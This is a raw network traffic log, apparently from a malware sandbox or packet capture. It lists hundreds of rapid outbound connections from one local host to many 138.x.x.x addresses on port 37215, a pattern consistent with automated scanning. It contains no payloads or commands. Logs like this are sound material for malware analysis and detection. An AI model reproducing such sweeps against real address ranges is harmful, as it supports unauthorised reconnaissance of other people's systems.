Feb 20, 2022 15:51:02.807612896 CET	1898	37215	192.168.2.23	138.223.28.49
Feb 20, 2022 15:51:02.807646990 CET	1898	37215	192.168.2.23	138.216.56.11
Feb 20, 2022 15:51:02.807693958 CET	1898	37215	192.168.2.23	138.17.204.233
Feb 20, 2022 15:51:02.807734966 CET	1898	37215	192.168.2.23	138.35.11.52
Feb 20, 2022 15:51:02.807775021 CET	1898	37215	192.168.2.23	138.255.243.184
Feb 20, 2022 15:51:02.807790995 CET	1898	37215	192.168.2.23	138.73.231.169
Feb 20, 2022 15:51:02.807821035 CET	1898	37215	192.168.2.23	138.24.133.252
Feb 20, 2022 15:51:02.807902098 CET	1898	37215	192.168.2.23	138.152.35.37
Feb 20, 2022 15:51:02.807904959 CET	1898	37215	192.168.2.23	138.105.115.105
Feb 20, 2022 15:51:02.807974100 CET	1898	37215	192.168.2.23	138.232.37.104
Feb 20, 2022 15:51:02.808020115 CET	1898	37215	192.168.2.23	138.123.127.30
Feb 20, 2022 15:51:02.808021069 CET	1898	37215	192.168.2.23	138.249.110.172
Feb 20, 2022 15:51:02.808093071 CET	1898	37215	192.168.2.23	138.30.205.246
Feb 20, 2022 15:51:02.808130980 CET	1898	37215	192.168.2.23	138.48.27.167
Feb 20, 2022 15:51:02.808166027 CET	1898	37215	192.168.2.23	138.220.214.15
Feb 20, 2022 15:51:02.808213949 CET	1898	37215	192.168.2.23	138.197.4.116
Feb 20, 2022 15:51:02.808259964 CET	1898	37215	192.168.2.23	138.133.69.187
Feb 20, 2022 15:51:02.808263063 CET	1898	37215	192.168.2.23	138.112.221.237
Feb 20, 2022 15:51:02.808293104 CET	1898	37215	192.168.2.23	138.22.56.164
Feb 20, 2022 15:51:02.808350086 CET	1898	37215	192.168.2.23	138.17.188.192
Feb 20, 2022 15:51:02.808389902 CET	1898	37215	192.168.2.23	138.79.31.122
Feb 20, 2022 15:51:02.808475018 CET	1898	37215	192.168.2.23	138.224.182.182
Feb 20, 2022 15:51:02.808515072 CET	1898	37215	192.168.2.23	138.146.223.47
Feb 20, 2022 15:51:02.808547020 CET	1898	37215	192.168.2.23	138.3.180.154
Feb 20, 2022 15:51:02.808573961 CET	1898	37215	192.168.2.23	138.13.89.165
Feb 20, 2022 15:51:02.808639050 CET	1898	37215	192.168.2.23	138.59.50.190
Feb 20, 2022 15:51:02.808644056 CET	1898	37215	192.168.2.23	138.18.204.25
Feb 20, 2022 15:51:02.808710098 CET	1898	37215	192.168.2.23	138.179.61.180
Feb 20, 2022 15:51:02.808716059 CET	1898	37215	192.168.2.23	138.222.94.8
Feb 20, 2022 15:51:02.808794022 CET	1898	37215	192.168.2.23	138.170.213.105
Feb 20, 2022 15:51:02.808794975 CET	1898	37215	192.168.2.23	138.96.63.67
Feb 20, 2022 15:51:02.808856964 CET	1898	37215	192.168.2.23	138.35.105.158
Feb 20, 2022 15:51:02.808897972 CET	1898	37215	192.168.2.23	138.72.65.68
Feb 20, 2022 15:51:02.808957100 CET	1898	37215	192.168.2.23	138.152.25.245
Feb 20, 2022 15:51:02.808959007 CET	1898	37215	192.168.2.23	138.145.127.221
Feb 20, 2022 15:51:02.808984995 CET	1898	37215	192.168.2.23	138.106.140.123
Feb 20, 2022 15:51:02.809070110 CET	1898	37215	192.168.2.23	138.92.184.158
Feb 20, 2022 15:51:02.809072018 CET	1898	37215	192.168.2.23	138.190.188.178
Feb 20, 2022 15:51:02.809113026 CET	1898	37215	192.168.2.23	138.220.164.135
Feb 20, 2022 15:51:02.809236050 CET	1898	37215	192.168.2.23	138.165.170.87
Feb 20, 2022 15:51:02.809289932 CET	1898	37215	192.168.2.23	138.168.10.193
Feb 20, 2022 15:51:02.809298038 CET	1898	37215	192.168.2.23	138.135.232.146
Feb 20, 2022 15:51:02.809325933 CET	1898	37215	192.168.2.23	138.73.62.47
Feb 20, 2022 15:51:02.809344053 CET	1898	37215	192.168.2.23	138.78.21.51
Feb 20, 2022 15:51:02.809405088 CET	1898	37215	192.168.2.23	138.252.92.158
Feb 20, 2022 15:51:02.809416056 CET	1898	37215	192.168.2.23	138.230.211.129
Feb 20, 2022 15:51:02.809478045 CET	1898	37215	192.168.2.23	138.200.119.151
Feb 20, 2022 15:51:02.809530973 CET	1898	37215	192.168.2.23	138.18.51.205
Feb 20, 2022 15:51:02.809547901 CET	1898	37215	192.168.2.23	138.9.241.236
Feb 20, 2022 15:51:02.809623003 CET	1898	37215	192.168.2.23	138.31.227.185
Feb 20, 2022 15:51:02.809696913 CET	1898	37215	192.168.2.23	138.240.120.150
Feb 20, 2022 15:51:02.809708118 CET	1898	37215	192.168.2.23	138.117.10.69
Feb 20, 2022 15:51:02.809719086 CET	1898	37215	192.168.2.23	138.251.30.62
Feb 20, 2022 15:51:02.809771061 CET	1898	37215	192.168.2.23	138.233.184.81
Feb 20, 2022 15:51:02.809819937 CET	1898	37215	192.168.2.23	138.96.130.221
Feb 20, 2022 15:51:02.809827089 CET	1898	37215	192.168.2.23	138.73.100.19
Feb 20, 2022 15:51:02.809902906 CET	1898	37215	192.168.2.23	138.40.53.235
Feb 20, 2022 15:51:02.809911013 CET	1898	37215	192.168.2.23	138.98.180.10
Feb 20, 2022 15:51:02.810019970 CET	1898	37215	192.168.2.23	138.53.180.13
Feb 20, 2022 15:51:02.810081959 CET	1898	37215	192.168.2.23	138.153.6.145
Feb 20, 2022 15:51:02.810101032 CET	1898	37215	192.168.2.23	138.41.193.216
Feb 20, 2022 15:51:02.810158968 CET	1898	37215	192.168.2.23	138.205.156.22
Feb 20, 2022 15:51:02.810173988 CET	1898	37215	192.168.2.23	138.110.137.221
Feb 20, 2022 15:51:02.810231924 CET	1898	37215	192.168.2.23	138.202.230.218
Feb 20, 2022 15:51:02.810239077 CET	1898	37215	192.168.2.23	138.150.39.238
Feb 20, 2022 15:51:02.810272932 CET	1898	37215	192.168.2.23	138.121.163.30
Feb 20, 2022 15:51:02.810327053 CET	1898	37215	192.168.2.23	138.130.17.241
Feb 20, 2022 15:51:02.810400009 CET	1898	37215	192.168.2.23	138.172.176.6
Feb 20, 2022 15:51:02.810455084 CET	1898	37215	192.168.2.23	138.99.110.56
Feb 20, 2022 15:51:02.810456038 CET	1898	37215	192.168.2.23	138.182.69.115
Feb 20, 2022 15:51:02.810488939 CET	1898	37215	192.168.2.23	138.216.71.200
Feb 20, 2022 15:51:02.810564995 CET	1898	37215	192.168.2.23	138.249.239.116
Feb 20, 2022 15:51:02.810570955 CET	1898	37215	192.168.2.23	138.35.74.83
Feb 20, 2022 15:51:02.810606956 CET	1898	37215	192.168.2.23	138.74.16.106
Feb 20, 2022 15:51:02.810651064 CET	1898	37215	192.168.2.23	138.122.225.50
Feb 20, 2022 15:51:02.810695887 CET	1898	37215	192.168.2.23	138.213.17.132
Feb 20, 2022 15:51:02.810745001 CET	1898	37215	192.168.2.23	138.251.158.246
Feb 20, 2022 15:51:02.810781002 CET	1898	37215	192.168.2.23	138.178.96.122
Feb 20, 2022 15:51:02.810834885 CET	1898	37215	192.168.2.23	138.15.7.61
Feb 20, 2022 15:51:02.810874939 CET	1898	37215	192.168.2.23	138.152.243.153
Feb 20, 2022 15:51:02.810957909 CET	1898	37215	192.168.2.23	138.33.27.173
Feb 20, 2022 15:51:02.810962915 CET	1898	37215	192.168.2.23	138.238.34.173
Feb 20, 2022 15:51:02.810993910 CET	1898	37215	192.168.2.23	138.254.38.80
Feb 20, 2022 15:51:02.811069012 CET	1898	37215	192.168.2.23	138.248.11.175
Feb 20, 2022 15:51:02.811121941 CET	1898	37215	192.168.2.23	138.162.206.88
Feb 20, 2022 15:51:02.811129093 CET	1898	37215	192.168.2.23	138.124.20.207
Feb 20, 2022 15:51:02.811197996 CET	1898	37215	192.168.2.23	138.236.30.188
Feb 20, 2022 15:51:02.811203957 CET	1898	37215	192.168.2.23	138.48.153.9
Feb 20, 2022 15:51:02.811275959 CET	1898	37215	192.168.2.23	138.40.220.140
Feb 20, 2022 15:51:02.811327934 CET	1898	37215	192.168.2.23	138.245.71.93
Feb 20, 2022 15:51:02.811366081 CET	1898	37215	192.168.2.23	138.129.146.80
Feb 20, 2022 15:51:02.811399937 CET	1898	37215	192.168.2.23	138.59.216.21
Feb 20, 2022 15:51:02.811451912 CET	1898	37215	192.168.2.23	138.168.46.242
Feb 20, 2022 15:51:02.811517954 CET	1898	37215	192.168.2.23	138.75.99.11
Feb 20, 2022 15:51:02.811518908 CET	1898	37215	192.168.2.23	138.215.151.224
Feb 20, 2022 15:51:02.811593056 CET	1898	37215	192.168.2.23	138.41.151.237
Feb 20, 2022 15:51:02.811623096 CET	1898	37215	192.168.2.23	138.202.76.152
Feb 20, 2022 15:51:02.811662912 CET	1898	37215	192.168.2.23	138.143.147.135
Feb 20, 2022 15:51:02.811667919 CET	1898	37215	192.168.2.23	138.161.179.108
Feb 20, 2022 15:51:02.811705112 CET	1898	37215	192.168.2.23	138.32.154.191
Feb 20, 2022 15:51:02.811753035 CET	1898	37215	192.168.2.23	138.192.223.125
Feb 20, 2022 15:51:02.811795950 CET	1898	37215	192.168.2.23	138.223.239.192
Feb 20, 2022 15:51:02.811841011 CET	1898	37215	192.168.2.23	138.119.197.121
Feb 20, 2022 15:51:02.811918020 CET	1898	37215	192.168.2.23	138.111.197.152
Feb 20, 2022 15:51:02.811960936 CET	1898	37215	192.168.2.23	138.40.71.23
Feb 20, 2022 15:51:02.811969042 CET	1898	37215	192.168.2.23	138.150.190.196
Feb 20, 2022 15:51:02.812047005 CET	1898	37215	192.168.2.23	138.34.59.249
Feb 20, 2022 15:51:02.812084913 CET	1898	37215	192.168.2.23	138.245.71.57
Feb 20, 2022 15:51:02.812100887 CET	1898	37215	192.168.2.23	138.185.76.28
Feb 20, 2022 15:51:02.812123060 CET	1898	37215	192.168.2.23	138.106.44.66
Feb 20, 2022 15:51:02.812216997 CET	1898	37215	192.168.2.23	138.120.30.75
Feb 20, 2022 15:51:02.812258005 CET	1898	37215	192.168.2.23	138.102.134.51
Feb 20, 2022 15:51:02.812285900 CET	1898	37215	192.168.2.23	138.57.89.30
Feb 20, 2022 15:51:02.812330961 CET	1898	37215	192.168.2.23	138.7.29.166
Feb 20, 2022 15:51:02.812371969 CET	1898	37215	192.168.2.23	138.151.99.9
Feb 20, 2022 15:51:02.812419891 CET	1898	37215	192.168.2.23	138.168.148.199
Feb 20, 2022 15:51:02.812437057 CET	1898	37215	192.168.2.23	138.174.229.233
Feb 20, 2022 15:51:02.812460899 CET	1898	37215	192.168.2.23	138.48.30.9
Feb 20, 2022 15:51:02.812500000 CET	1898	37215	192.168.2.23	138.77.85.35
Feb 20, 2022 15:51:02.812551022 CET	1898	37215	192.168.2.23	138.253.132.118
Feb 20, 2022 15:51:02.812632084 CET	1898	37215	192.168.2.23	138.254.226.28
Feb 20, 2022 15:51:02.812647104 CET	1898	37215	192.168.2.23	138.168.54.210
Feb 20, 2022 15:51:02.812711954 CET	1898	37215	192.168.2.23	138.26.179.65
Feb 20, 2022 15:51:02.812716961 CET	1898	37215	192.168.2.23	138.74.191.231
Feb 20, 2022 15:51:02.812755108 CET	1898	37215	192.168.2.23	138.61.229.138
Feb 20, 2022 15:51:02.812832117 CET	1898	37215	192.168.2.23	138.66.9.215
Feb 20, 2022 15:51:02.812838078 CET	1898	37215	192.168.2.23	138.192.206.96
Feb 20, 2022 15:51:02.812876940 CET	1898	37215	192.168.2.23	138.107.8.242
Feb 20, 2022 15:51:02.812952995 CET	1898	37215	192.168.2.23	138.221.29.224
Feb 20, 2022 15:51:02.812999964 CET	1898	37215	192.168.2.23	138.20.94.100
Feb 20, 2022 15:51:02.813071966 CET	1898	37215	192.168.2.23	138.80.193.63
Feb 20, 2022 15:51:02.813110113 CET	1898	37215	192.168.2.23	138.195.77.231
Feb 20, 2022 15:51:02.813121080 CET	1898	37215	192.168.2.23	138.233.52.161
Feb 20, 2022 15:51:02.813173056 CET	1898	37215	192.168.2.23	138.144.16.115
Feb 20, 2022 15:51:02.813213110 CET	1898	37215	192.168.2.23	138.167.63.5
Feb 20, 2022 15:51:02.813261986 CET	1898	37215	192.168.2.23	138.196.185.210
Feb 20, 2022 15:51:02.813308954 CET	1898	37215	192.168.2.23	138.141.61.7
Feb 20, 2022 15:51:02.813344955 CET	1898	37215	192.168.2.23	138.228.183.73
Feb 20, 2022 15:51:02.813354969 CET	1898	37215	192.168.2.23	138.184.52.253
Feb 20, 2022 15:51:02.813425064 CET	1898	37215	192.168.2.23	138.252.180.227
Feb 20, 2022 15:51:02.813430071 CET	1898	37215	192.168.2.23	138.147.136.236
Feb 20, 2022 15:51:02.813457966 CET	1898	37215	192.168.2.23	138.93.39.255
Feb 20, 2022 15:51:02.813534021 CET	1898	37215	192.168.2.23	138.3.205.12
Feb 20, 2022 15:51:02.813591957 CET	1898	37215	192.168.2.23	138.121.183.87
Feb 20, 2022 15:51:02.813623905 CET	1898	37215	192.168.2.23	138.154.183.201
Feb 20, 2022 15:51:02.813673019 CET	1898	37215	192.168.2.23	138.151.32.218
Feb 20, 2022 15:51:02.813683987 CET	1898	37215	192.168.2.23	138.73.234.17
Feb 20, 2022 15:51:02.813749075 CET	1898	37215	192.168.2.23	138.32.172.246
Feb 20, 2022 15:51:02.813821077 CET	1898	37215	192.168.2.23	138.221.69.141
Feb 20, 2022 15:51:02.813839912 CET	1898	37215	192.168.2.23	138.1.154.69
Feb 20, 2022 15:51:02.813873053 CET	1898	37215	192.168.2.23	138.71.227.61
Feb 20, 2022 15:51:02.813908100 CET	1898	37215	192.168.2.23	138.255.160.107
Feb 20, 2022 15:51:02.813920975 CET	1898	37215	192.168.2.23	138.151.230.184
Feb 20, 2022 15:51:02.814024925 CET	1898	37215	192.168.2.23	138.208.236.239
Feb 20, 2022 15:51:02.814030886 CET	1898	37215	192.168.2.23	138.197.174.30
Feb 20, 2022 15:51:02.814104080 CET	1898	37215	192.168.2.23	138.93.156.15
Feb 20, 2022 15:51:02.814115047 CET	1898	37215	192.168.2.23	138.220.59.62
Feb 20, 2022 15:51:02.814132929 CET	1898	37215	192.168.2.23	138.85.182.51
Feb 20, 2022 15:51:02.814181089 CET	1898	37215	192.168.2.23	138.1.102.141
Feb 20, 2022 15:51:02.814266920 CET	1898	37215	192.168.2.23	138.47.95.158
Feb 20, 2022 15:51:02.814301968 CET	1898	37215	192.168.2.23	138.14.88.219
Feb 20, 2022 15:51:02.814311981 CET	1898	37215	192.168.2.23	138.251.143.184
Feb 20, 2022 15:51:02.814338923 CET	1898	37215	192.168.2.23	138.102.118.254
Feb 20, 2022 15:51:02.814436913 CET	1898	37215	192.168.2.23	138.44.31.169
Feb 20, 2022 15:51:02.814440966 CET	1898	37215	192.168.2.23	138.212.32.248
Feb 20, 2022 15:51:02.814485073 CET	1898	37215	192.168.2.23	138.62.211.83
Feb 20, 2022 15:51:02.814553022 CET	1898	37215	192.168.2.23	138.204.37.115
Feb 20, 2022 15:51:02.814557076 CET	1898	37215	192.168.2.23	138.147.186.100
Feb 20, 2022 15:51:02.814585924 CET	1898	37215	192.168.2.23	138.133.43.68
Feb 20, 2022 15:51:02.814682007 CET	1898	37215	192.168.2.23	138.72.223.220
Feb 20, 2022 15:51:02.814685106 CET	1898	37215	192.168.2.23	138.46.208.253
Feb 20, 2022 15:51:02.814754009 CET	1898	37215	192.168.2.23	138.138.48.88
Feb 20, 2022 15:51:02.814757109 CET	1898	37215	192.168.2.23	138.48.31.167
Feb 20, 2022 15:51:02.814800024 CET	1898	37215	192.168.2.23	138.166.78.58
Feb 20, 2022 15:51:02.814871073 CET	1898	37215	192.168.2.23	138.107.209.193
Feb 20, 2022 15:51:02.814919949 CET	1898	37215	192.168.2.23	138.73.11.179
Feb 20, 2022 15:51:02.814955950 CET	1898	37215	192.168.2.23	138.2.112.75
Feb 20, 2022 15:51:02.815004110 CET	1898	37215	192.168.2.23	138.207.220.199
Feb 20, 2022 15:51:02.815042973 CET	1898	37215	192.168.2.23	138.36.24.177
Feb 20, 2022 15:51:02.815099955 CET	1898	37215	192.168.2.23	138.40.228.239
Feb 20, 2022 15:51:02.815108061 CET	1898	37215	192.168.2.23	138.223.119.1
Feb 20, 2022 15:51:02.815133095 CET	1898	37215	192.168.2.23	138.205.38.147
Feb 20, 2022 15:51:02.815216064 CET	1898	37215	192.168.2.23	138.193.109.191
Feb 20, 2022 15:51:02.815217972 CET	1898	37215	192.168.2.23	138.208.215.142
Feb 20, 2022 15:51:02.815290928 CET	1898	37215	192.168.2.23	138.175.65.95
Feb 20, 2022 15:51:02.815339088 CET	1898	37215	192.168.2.23	138.51.197.96
Feb 20, 2022 15:51:02.815381050 CET	1898	37215	192.168.2.23	138.72.237.58
Feb 20, 2022 15:51:02.815426111 CET	1898	37215	192.168.2.23	138.42.23.161
Feb 20, 2022 15:51:02.815433025 CET	1898	37215	192.168.2.23	138.128.64.224
Feb 20, 2022 15:51:02.815483093 CET	1898	37215	192.168.2.23	138.72.248.248
Feb 20, 2022 15:51:02.815578938 CET	1898	37215	192.168.2.23	138.242.158.182
Feb 20, 2022 15:51:02.815618038 CET	1898	37215	192.168.2.23	138.0.30.36
Feb 20, 2022 15:51:02.815654993 CET	1898	37215	192.168.2.23	138.212.188.80
Feb 20, 2022 15:51:02.815692902 CET	1898	37215	192.168.2.23	138.51.231.224
Feb 20, 2022 15:51:02.815700054 CET	1898	37215	192.168.2.23	138.219.29.74
Feb 20, 2022 15:51:02.815733910 CET	1898	37215	192.168.2.23	138.184.186.216
Feb 20, 2022 15:51:02.815814972 CET	1898	37215	192.168.2.23	138.204.231.153
Feb 20, 2022 15:51:02.815854073 CET	1898	37215	192.168.2.23	138.130.167.69
Feb 20, 2022 15:51:02.815917015 CET	1898	37215	192.168.2.23	138.201.34.201
Feb 20, 2022 15:51:02.815948963 CET	1898	37215	192.168.2.23	138.140.146.221
Feb 20, 2022 15:51:02.815992117 CET	1898	37215	192.168.2.23	138.34.32.53
Feb 20, 2022 15:51:02.816006899 CET	1898	37215	192.168.2.23	138.136.39.69
Feb 20, 2022 15:51:02.816070080 CET	1898	37215	192.168.2.23	138.112.42.56
Feb 20, 2022 15:51:02.816081047 CET	1898	37215	192.168.2.23	138.0.105.98
Feb 20, 2022 15:51:02.816147089 CET	1898	37215	192.168.2.23	138.247.220.149
Feb 20, 2022 15:51:02.816152096 CET	1898	37215	192.168.2.23	138.70.49.2
Feb 20, 2022 15:51:02.816176891 CET	1898	37215	192.168.2.23	138.24.180.55
Feb 20, 2022 15:51:02.816277027 CET	1898	37215	192.168.2.23	138.168.160.160
Feb 20, 2022 15:51:02.816286087 CET	1898	37215	192.168.2.23	138.210.234.89
Feb 20, 2022 15:51:02.816304922 CET	1898	37215	192.168.2.23	138.152.248.243
Feb 20, 2022 15:51:02.816312075 CET	1898	37215	192.168.2.23	138.205.192.113
Feb 20, 2022 15:51:02.816344023 CET	1898	37215	192.168.2.23	138.162.14.207
Feb 20, 2022 15:51:02.816363096 CET	1898	37215	192.168.2.23	138.125.86.69
Feb 20, 2022 15:51:02.816375017 CET	1898	37215	192.168.2.23	138.75.215.82
Feb 20, 2022 15:51:02.816396952 CET	1898	37215	192.168.2.23	138.234.239.10
Feb 20, 2022 15:51:02.816423893 CET	1898	37215	192.168.2.23	138.128.81.227
Feb 20, 2022 15:51:02.816436052 CET	1898	37215	192.168.2.23	138.132.255.102
Feb 20, 2022 15:51:02.816473007 CET	1898	37215	192.168.2.23	138.130.88.205
Feb 20, 2022 15:51:02.816478968 CET	1898	37215	192.168.2.23	138.11.108.70
Feb 20, 2022 15:51:02.816485882 CET	1898	37215	192.168.2.23	138.206.73.240
Feb 20, 2022 15:51:02.816497087 CET	1898	37215	192.168.2.23	138.128.210.205
Feb 20, 2022 15:51:02.816530943 CET	1898	37215	192.168.2.23	138.44.146.69
Feb 20, 2022 15:51:02.816560984 CET	1898	37215	192.168.2.23	138.246.250.201
Feb 20, 2022 15:51:02.816590071 CET	1898	37215	192.168.2.23	138.155.248.243
Feb 20, 2022 15:51:02.816611052 CET	1898	37215	192.168.2.23	138.9.208.51
Feb 20, 2022 15:51:02.816632032 CET	1898	37215	192.168.2.23	138.13.81.21
Feb 20, 2022 15:51:02.816658020 CET	1898	37215	192.168.2.23	138.161.132.71
Feb 20, 2022 15:51:02.816663027 CET	1898	37215	192.168.2.23	138.58.180.143
Feb 20, 2022 15:51:02.816673994 CET	1898	37215	192.168.2.23	138.230.151.21
Feb 20, 2022 15:51:02.816720963 CET	1898	37215	192.168.2.23	138.11.231.214
Feb 20, 2022 15:51:02.816732883 CET	1898	37215	192.168.2.23	138.179.168.53
Feb 20, 2022 15:51:02.816734076 CET	1898	37215	192.168.2.23	138.201.87.91
Feb 20, 2022 15:51:02.816755056 CET	1898	37215	192.168.2.23	138.98.155.228
Feb 20, 2022 15:51:02.816797018 CET	1898	37215	192.168.2.23	138.203.236.136
Feb 20, 2022 15:51:02.816817045 CET	1898	37215	192.168.2.23	138.71.82.133
Feb 20, 2022 15:51:02.816847086 CET	1898	37215	192.168.2.23	138.112.112.246
Feb 20, 2022 15:51:02.816857100 CET	1898	37215	192.168.2.23	138.138.160.101
Feb 20, 2022 15:51:02.816864967 CET	1898	37215	192.168.2.23	138.67.168.180
Feb 20, 2022 15:51:02.816909075 CET	1898	37215	192.168.2.23	138.223.227.10
Feb 20, 2022 15:51:02.816935062 CET	1898	37215	192.168.2.23	138.55.30.214
Feb 20, 2022 15:51:02.816962957 CET	1898	37215	192.168.2.23	138.195.81.251
Feb 20, 2022 15:51:02.816971064 CET	1898	37215	192.168.2.23	138.169.58.137
Feb 20, 2022 15:51:02.816978931 CET	1898	37215	192.168.2.23	138.205.164.214
Feb 20, 2022 15:51:02.817009926 CET	1898	37215	192.168.2.23	138.36.57.133
Feb 20, 2022 15:51:02.817028999 CET	1898	37215	192.168.2.23	138.248.212.153
Feb 20, 2022 15:51:02.817045927 CET	1898	37215	192.168.2.23	138.158.149.233
Feb 20, 2022 15:51:02.817069054 CET	1898	37215	192.168.2.23	138.37.125.85
Feb 20, 2022 15:51:02.817111015 CET	1898	37215	192.168.2.23	138.244.220.186
Feb 20, 2022 15:51:02.817131042 CET	1898	37215	192.168.2.23	138.134.147.236
Feb 20, 2022 15:51:02.817146063 CET	1898	37215	192.168.2.23	138.96.35.23
Feb 20, 2022 15:51:02.817157984 CET	1898	37215	192.168.2.23	138.12.26.111
Feb 20, 2022 15:51:02.817190886 CET	1898	37215	192.168.2.23	138.81.172.211
Feb 20, 2022 15:51:02.817212105 CET	1898	37215	192.168.2.23	138.99.235.132
Feb 20, 2022 15:51:02.817215919 CET	1898	37215	192.168.2.23	138.239.144.137
Feb 20, 2022 15:51:02.817245007 CET	1898	37215	192.168.2.23	138.201.95.52
Feb 20, 2022 15:51:02.817255020 CET	1898	37215	192.168.2.23	138.232.13.71
Feb 20, 2022 15:51:02.817281008 CET	1898	37215	192.168.2.23	138.9.52.241
Feb 20, 2022 15:51:02.817284107 CET	1898	37215	192.168.2.23	138.217.218.242
Feb 20, 2022 15:51:02.817313910 CET	1898	37215	192.168.2.23	138.161.245.69
Feb 20, 2022 15:51:02.817337990 CET	1898	37215	192.168.2.23	138.45.218.231
Feb 20, 2022 15:51:02.817364931 CET	1898	37215	192.168.2.23	138.70.117.96
Feb 20, 2022 15:51:02.817378998 CET	1898	37215	192.168.2.23	138.23.222.103
Feb 20, 2022 15:51:02.817380905 CET	1898	37215	192.168.2.23	138.11.167.84
Feb 20, 2022 15:51:02.817409039 CET	1898	37215	192.168.2.23	138.212.227.139
Feb 20, 2022 15:51:02.817440033 CET	1898	37215	192.168.2.23	138.93.87.156
Feb 20, 2022 15:51:02.817441940 CET	1898	37215	192.168.2.23	138.243.90.6
Feb 20, 2022 15:51:02.817487001 CET	1898	37215	192.168.2.23	138.68.112.110
Feb 20, 2022 15:51:02.817490101 CET	1898	37215	192.168.2.23	138.66.169.28
Feb 20, 2022 15:51:02.817512989 CET	1898	37215	192.168.2.23	138.251.3.244
Feb 20, 2022 15:51:02.817523956 CET	1898	37215	192.168.2.23	138.87.27.42
Feb 20, 2022 15:51:02.817534924 CET	1898	37215	192.168.2.23	138.184.87.240
Feb 20, 2022 15:51:02.817552090 CET	1898	37215	192.168.2.23	138.29.41.228
Feb 20, 2022 15:51:02.817589045 CET	1898	37215	192.168.2.23	138.119.37.243
Feb 20, 2022 15:51:02.817615986 CET	1898	37215	192.168.2.23	138.172.183.131
Feb 20, 2022 15:51:02.817639112 CET	1898	37215	192.168.2.23	138.133.208.126
Feb 20, 2022 15:51:02.817656040 CET	1898	37215	192.168.2.23	138.40.128.183
Feb 20, 2022 15:51:02.817663908 CET	1898	37215	192.168.2.23	138.113.65.213
Feb 20, 2022 15:51:02.817684889 CET	1898	37215	192.168.2.23	138.173.143.16
Feb 20, 2022 15:51:02.817686081 CET	1898	37215	192.168.2.23	138.115.103.240
Feb 20, 2022 15:51:02.817729950 CET	1898	37215	192.168.2.23	138.62.46.173
Feb 20, 2022 15:51:02.817749023 CET	1898	37215	192.168.2.23	138.173.178.165
Feb 20, 2022 15:51:02.817761898 CET	1898	37215	192.168.2.23	138.162.44.226
Feb 20, 2022 15:51:02.817794085 CET	1898	37215	192.168.2.23	138.53.186.191
Feb 20, 2022 15:51:02.817821980 CET	1898	37215	192.168.2.23	138.139.119.209
Feb 20, 2022 15:51:02.817825079 CET	1898	37215	192.168.2.23	138.15.204.69
Feb 20, 2022 15:51:02.817837954 CET	1898	37215	192.168.2.23	138.144.183.62
Feb 20, 2022 15:51:02.817881107 CET	1898	37215	192.168.2.23	138.194.224.82
Feb 20, 2022 15:51:02.817893982 CET	1898	37215	192.168.2.23	138.185.122.255
Feb 20, 2022 15:51:02.817905903 CET	1898	37215	192.168.2.23	138.4.172.118
Feb 20, 2022 15:51:02.817943096 CET	1898	37215	192.168.2.23	138.4.146.10
Feb 20, 2022 15:51:02.817948103 CET	1898	37215	192.168.2.23	138.49.119.120
Feb 20, 2022 15:51:02.817959070 CET	1898	37215	192.168.2.23	138.162.111.245
Feb 20, 2022 15:51:02.817986965 CET	1898	37215	192.168.2.23	138.223.43.36
Feb 20, 2022 15:51:02.818022013 CET	1898	37215	192.168.2.23	138.3.158.223
Feb 20, 2022 15:51:02.818030119 CET	1898	37215	192.168.2.23	138.136.103.56
Feb 20, 2022 15:51:02.818061113 CET	1898	37215	192.168.2.23	138.194.66.207
Feb 20, 2022 15:51:02.818070889 CET	1898	37215	192.168.2.23	138.86.90.208
Feb 20, 2022 15:51:02.818090916 CET	1898	37215	192.168.2.23	138.78.202.168
Feb 20, 2022 15:51:02.818119049 CET	1898	37215	192.168.2.23	138.137.2.35
Feb 20, 2022 15:51:02.818125010 CET	1898	37215	192.168.2.23	138.92.215.217
Feb 20, 2022 15:51:02.818150997 CET	1898	37215	192.168.2.23	138.48.101.83
Feb 20, 2022 15:51:02.818176031 CET	1898	37215	192.168.2.23	138.136.107.168
Feb 20, 2022 15:51:02.818217993 CET	1898	37215	192.168.2.23	138.110.226.60
Feb 20, 2022 15:51:02.818221092 CET	1898	37215	192.168.2.23	138.61.122.160
Feb 20, 2022 15:51:02.818252087 CET	1898	37215	192.168.2.23	138.103.157.80
Feb 20, 2022 15:51:02.818258047 CET	1898	37215	192.168.2.23	138.163.252.41
Feb 20, 2022 15:51:02.818265915 CET	1898	37215	192.168.2.23	138.49.123.98
Feb 20, 2022 15:51:02.818267107 CET	1898	37215	192.168.2.23	138.186.21.7
Feb 20, 2022 15:51:02.818293095 CET	1898	37215	192.168.2.23	138.198.198.226
Feb 20, 2022 15:51:02.818320036 CET	1898	37215	192.168.2.23	138.109.86.99
Feb 20, 2022 15:51:02.818339109 CET	1898	37215	192.168.2.23	138.137.107.182
Feb 20, 2022 15:51:02.818392038 CET	1898	37215	192.168.2.23	138.199.226.190
Feb 20, 2022 15:51:02.818403006 CET	1898	37215	192.168.2.23	138.213.141.63
Feb 20, 2022 15:51:02.818432093 CET	1898	37215	192.168.2.23	138.13.202.21
Feb 20, 2022 15:51:02.818461895 CET	1898	37215	192.168.2.23	138.26.216.52
Feb 20, 2022 15:51:02.818474054 CET	1898	37215	192.168.2.23	138.83.33.104
Feb 20, 2022 15:51:02.818475008 CET	1898	37215	192.168.2.23	138.219.227.158
Feb 20, 2022 15:51:02.818497896 CET	1898	37215	192.168.2.23	138.72.152.216
Feb 20, 2022 15:51:02.818505049 CET	1898	37215	192.168.2.23	138.13.14.144
Feb 20, 2022 15:51:02.818523884 CET	1898	37215	192.168.2.23	138.139.180.204
Feb 20, 2022 15:51:02.818547964 CET	1898	37215	192.168.2.23	138.150.232.237
Feb 20, 2022 15:51:02.818568945 CET	1898	37215	192.168.2.23	138.174.112.251
Feb 20, 2022 15:51:02.818602085 CET	1898	37215	192.168.2.23	138.235.144.96
Feb 20, 2022 15:51:02.818627119 CET	1898	37215	192.168.2.23	138.125.215.78
Feb 20, 2022 15:51:02.818627119 CET	1898	37215	192.168.2.23	138.60.48.12
Feb 20, 2022 15:51:02.818644047 CET	1898	37215	192.168.2.23	138.126.9.235
Feb 20, 2022 15:51:02.818686008 CET	1898	37215	192.168.2.23	138.49.148.183
Feb 20, 2022 15:51:02.818692923 CET	1898	37215	192.168.2.23	138.90.54.35
Feb 20, 2022 15:51:02.818705082 CET	1898	37215	192.168.2.23	138.13.202.164
Feb 20, 2022 15:51:02.818746090 CET	1898	37215	192.168.2.23	138.121.209.190
Feb 20, 2022 15:51:02.818768024 CET	1898	37215	192.168.2.23	138.56.26.184
Feb 20, 2022 15:51:02.818775892 CET	1898	37215	192.168.2.23	138.215.135.227
Feb 20, 2022 15:51:02.818814039 CET	1898	37215	192.168.2.23	138.95.116.1
